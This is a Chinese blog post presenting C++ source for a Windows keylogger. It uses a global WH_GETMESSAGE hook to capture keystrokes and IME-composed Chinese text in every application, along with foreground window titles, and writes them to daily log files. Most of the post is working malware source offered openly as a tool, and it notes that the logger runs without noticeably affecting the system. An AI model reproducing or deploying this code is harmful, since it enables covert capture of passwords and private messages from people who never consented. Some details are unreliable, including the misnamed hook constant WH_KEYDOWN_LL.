C++实现的支持中文的键盘记录工具


C++ #键盘记录2012-11-14 09:30

       看到网上有很多键盘记录工具,技痒,于是自己动手写了一个。

       记录键盘,很显然需要使用钩子。如果只是记录所按下的按键,使用WH_KEYDOWN_LL即可,此钩子可以拦截所有按下键盘的动作(除极少数键外)。但是如果要记录通过输入法输入的中文字符,那么WH_KEYDOWN_LL是不够的,这里需要使用WH_GETMESSAGE钩子。这个钩子拦截所有从消息队列中取出的消息。而windows上所有的输入法基本上都是采用将输入字符翻译成汉字之后,通过PostMessage将汉字回发给应用程序。所以利用WH_GETMESSAGE钩子,在应用程序从消息队列中取出汉字消息之前对消息进行拦截,从而记录。

       下面是HOOKDLL中的主要代码:

       WH_GETMESSAGE全局钩子,其钩子回调函数必须写在DLL中,不能通过传递函数指针的方式,将回调函数体写在其他Model中。

这里采用内存文件映射的方法来达到数据共享。共享的数据包括记录线程的ID,中文字符。回调函数在拦截到中文字符消息时,将中文字符保存到共享内存中,然后通过PostThreadMessage通知记录线程。

WM_IME_COMPOSITION:当输入法将转换后的中文字符推送到应用程序时,应用程序会处理此消息。

01BOOL CHookSystem::Start(int hookID)
02{
03    if(g_hook)
04        Stop();
05 
06    if(!g_hook)
07    {
08        HOOKPROC lpfn = NULL;
09        if(hookID == WH_GETMESSAGE)
10            lpfn = MessageProc;
11        else
12            lpfn = MessageProc;
13 
14        g_hook = ::SetWindowsHookEx(hookID, lpfn, CApplication::Hinst, 0); // 默认安装全局钩子,因为这是在dll中 http://yige.org/
15        DWORD m = ::GetLastError();
16        m_hookID = hookID;
17 
18        ::PostMessage(NULL, WM_NULL, 0,0);
19         
20        return g_hook == NULL ? FALSE : TRUE;
21    }
22    else
23        return FALSE;
24}
01BOOL CHookSystem::Stop()
02{
03    if(g_hook && !::UnhookWindowsHookEx(g_hook))
04        return FALSE;
05    else
06    {
07        g_hook = NULL;
08        m_hookID = 0;
09        return TRUE;
10    }
11}
01LRESULT CALLBACK CHookSystem::MessageProc(int nCode, WPARAM wParam, LPARAM lParam)
02{
03    LRESULT lResult = ::CallNextHookEx(g_hook, nCode, wParam, lParam);
04 
05    if(nCode < 0)
06        return lResult;
07 
08    HANDLE hThreadid = ::OpenFileMapping(FILE_MAP_WRITE, false, TEXT("ThreadID"));// 打开文件映射对象ThreadID
09    if(hThreadid)
10    {
11        int * pThreadid = (int *)::MapViewOfFile(hThreadid, FILE_MAP_READ|FILE_MAP_WRITE, 0, 0, 0);
12        if(pThreadid)
13            KBthreadid = (*pThreadid);
14        else
15            return lResult;
16 
17        UnmapViewOfFile(pThreadid); // 撤销此次映射
18    }
19    else
20    {
21        return lResult;
22    }
23 
24    TCHAR * pCNString;
25 
26    PMSG pmsg = (PMSG)lParam;
27    if (nCode == HC_ACTION)
28    {
29        switch (pmsg->message)
30        {
31        case WM_IME_COMPOSITION:
32            {
33                //::MessageBox(NULL,TEXT("WM_IME_COMPOSITION"),TEXT("no"),MB_OK);
34                HIMC hIMC;
35                HWND hWnd=pmsg->hwnd;
36                DWORD dwSize;
37                TCHAR ch;
38                TCHAR lpstr[MAX_CN_STRING_LEN];
39                if(pmsg->lParam & GCS_RESULTSTR)
40                {
41                    HANDLE hCNString = ::OpenFileMapping(FILE_MAP_WRITE,false, TEXT("CNString"));
42                    if(hCNString)
43                        pCNString = (TCHAR *)::MapViewOfFile(hCNString,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);
44                    else
45                        return lResult;
46 
47                    if(!pCNString)
48                        return lResult;
49 
50                    //先获取当前正在输入的窗口的输入法句柄
51                    hIMC = ImmGetContext(hWnd);
52                    if (!hIMC)
53                        return lResult;
54 
55                    // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小. http://yige.org/cpp/
56                    dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
57 
58                    // 缓冲区大小要加上字符串的NULL结束符大小,
59                    //   考虑到UNICODE
60                    dwSize += sizeof(WCHAR);
61 
62                    memset(lpstr, 0, MAX_CN_STRING_LEN);
63 
64                    // 再调用一次.ImmGetCompositionString获取字符串
65                    ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);
66 
67                    //现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件... http://yige.org/
68                    //MessageBox(NULL, lpstr, lpstr, MB_OK);
69 
70                    _tcscpy(pCNString, lpstr); // 拷贝到共享内存中
71                    ImmReleaseContext(hWnd, hIMC);
72 
73                    UnmapViewOfFile(pCNString); // 撤销此次映射
74 
75                    PostThreadMessage(KBthreadid,WM_KEYHOOK_CN_EN, wParam, lParam);
76                }
77            }
78            break;
79        case WM_CHAR:  //截获发向焦点窗口的键盘消息
80            {
81                PostThreadMessage(KBthreadid,WM_KEYHOOK_CN, pmsg->wParam, pmsg->lParam);
82            }
83            break;
84        }
85    }
86 
87    return(lResult);
88}
       下面是负责记录程序的主要代码:

       记录键盘信息是一个实时性比较高的任务,为了不影响前台界面,这里需要采用子线程的方式来进行记录。

在子线程处理函数中,通过PeekMessage来获取线程消息。在消息处理函数中,将输入的字符记录到文件中。

1void CMainWnd::StartKeyMonitorThread()
2{
3    ::_beginthread(HookKeyBoardThread, 0, NULL);
4}
1void CMainWnd::StopKeyMonitorThread()
2{
3    ::PostThreadMessage(ms_keyMonitorThreadID, WM_QUIT, 0, 0);
4    ::CloseHandle(hThreadid);
5    ::CloseHandle(hCNString);
6    ms_keyMonitorThreadID = 0;
7    hThreadid = NULL;
8    hCNString = NULL; // 防止句柄被释放两次
9}
001VOID CMainWnd::HookKeyBoardThread(LPVOID info)
002{
003    ms_keyMonitorThreadID = ::GetCurrentThreadId();
004    int threadid = ms_keyMonitorThreadID;
005 
006    hThreadid=CreateFileMapping((HANDLE)0xffffffff,NULL,PAGE_READWRITE,0,sizeof(int), TEXT("ThreadID"));
007    hCNString=CreateFileMapping((HANDLE)0xffffffff,NULL,PAGE_READWRITE,0,MAX_CN_STRING_LEN, TEXT("CNString"));
008 
009    if(hThreadid)
010    {
011        int *pThreadid = (int *)MapViewOfFile(hThreadid,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);
012        if(pThreadid)
013            *pThreadid = threadid;
014        else
015        {
016            CBaseWnd::MessageBox(TEXT("创建内存映射失败"));
017            return;
018        }
019 
020        UnmapViewOfFile(pThreadid); // 撤销此次映射
021    }
022    else
023    {
024        CBaseWnd::MessageBox(TEXT("创建内存映射失败"));
025        return;
026    }
027 
028    MSG msg;
029 
030    CString oldInputWndName;
031 
032    while(true)
033    {
034        if(PeekMessage(&msg,NULL,WM_KEYHOOK_CN,WM_KEYHOOK_CN,PM_REMOVE))
035        {
036            //const DWORD tid = GetWindowThreadProcessId(GetForegroundWindow(),NULL);
037            //AttachThreadInput(tid, GetCurrentThreadId(),TRUE);
038            CBaseWnd * pWnd = CBaseWnd::FromHandle(GetForegroundWindow()/*::GetFocus()*/);
039            CString curInputWndName;
040            if(pWnd != NULL)
041                curInputWndName = pWnd->GetWndName();
042            //AttachThreadInput(tid, GetCurrentThreadId(),FALSE);
043             
044            CString fileName = (m_logPath + (CDateTime::Now().ToShortDate() + TEXT(".log")));
045            CFileStreamC file(fileName);
046 
047            if(curInputWndName.GetLength() > 0 && curInputWndName != oldInputWndName)
048            {
049                oldInputWndName = curInputWndName;
050                file.Write(TEXT("\n[%s] "), curInputWndName.GetCStr());
051            }
052 
053            TCHAR str[20] = {0};
054            int len = MyGetKeyNameText(msg.wParam, str, sizeof(str)/sizeof(TCHAR));//获得控制键名字,可能是非控制键则返回为空
055            if(len > 0)
056                file.Write(TEXT("(%s)"), str);
057            else
058                file.Write(TEXT("%c"), msg.wParam);
059                 
060        }
061 
062        if(PeekMessage(&msg,NULL,WM_KEYHOOK_CN_EN,WM_KEYHOOK_CN_EN,PM_REMOVE))
063        {
064            TCHAR *pCNString;
065            HANDLE hCNString=OpenFileMapping(FILE_MAP_WRITE,false, TEXT("CNString"));
066 
067            if(hCNString)
068                pCNString=(TCHAR *)MapViewOfFile(hCNString,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);
069            else
070                continue;
071 
072            //const DWORD tid = GetWindowThreadProcessId(GetForegroundWindow(),NULL);
073            //AttachThreadInput(tid, GetCurrentThreadId(),TRUE);
074            CBaseWnd * pWnd = CBaseWnd::FromHandle(GetForegroundWindow()/*::GetFocus()*/);
075            CString curInputWndName;
076            if(pWnd != NULL)
077                curInputWndName = pWnd->GetWndName();
078            //AttachThreadInput(tid, GetCurrentThreadId(),FALSE);
079 
080            CString fileName = (m_logPath + (CDateTime::Now().ToShortDate() + TEXT(".log")));
081            CFileStreamC file(fileName);
082             
083            if(curInputWndName.GetLength() > 0 && curInputWndName != oldInputWndName)
084            {
085                oldInputWndName = curInputWndName;
086                file.Write(TEXT("\n[%s] "), curInputWndName.GetCStr());
087            }
088 
089            file.Write(TEXT("%s"), pCNString);
090 
091            memset(pCNString,0,MAX_CN_STRING_LEN);
092 
093            UnmapViewOfFile(pCNString); // 撤销此次映射
094        }
095 
096        if(PeekMessage(&msg,NULL,WM_QUIT,WM_QUIT,PM_REMOVE))
097        {
098            break;
099        }
100 
101        Sleep(1);
102    }
103 
104    return;
105}
实际效果截图:

这里在记录中文输入的同时,还记录的了当前所输入的窗口标题。

个别字符有乱码的情况,这是因为部分不可见字符没有进行屏蔽。

这个工具可以记录大部分中午输入,效率也还是很不错的,正常运行后,基本不会影响系统的正常使用。


相关文章

粤ICP备11097351号-1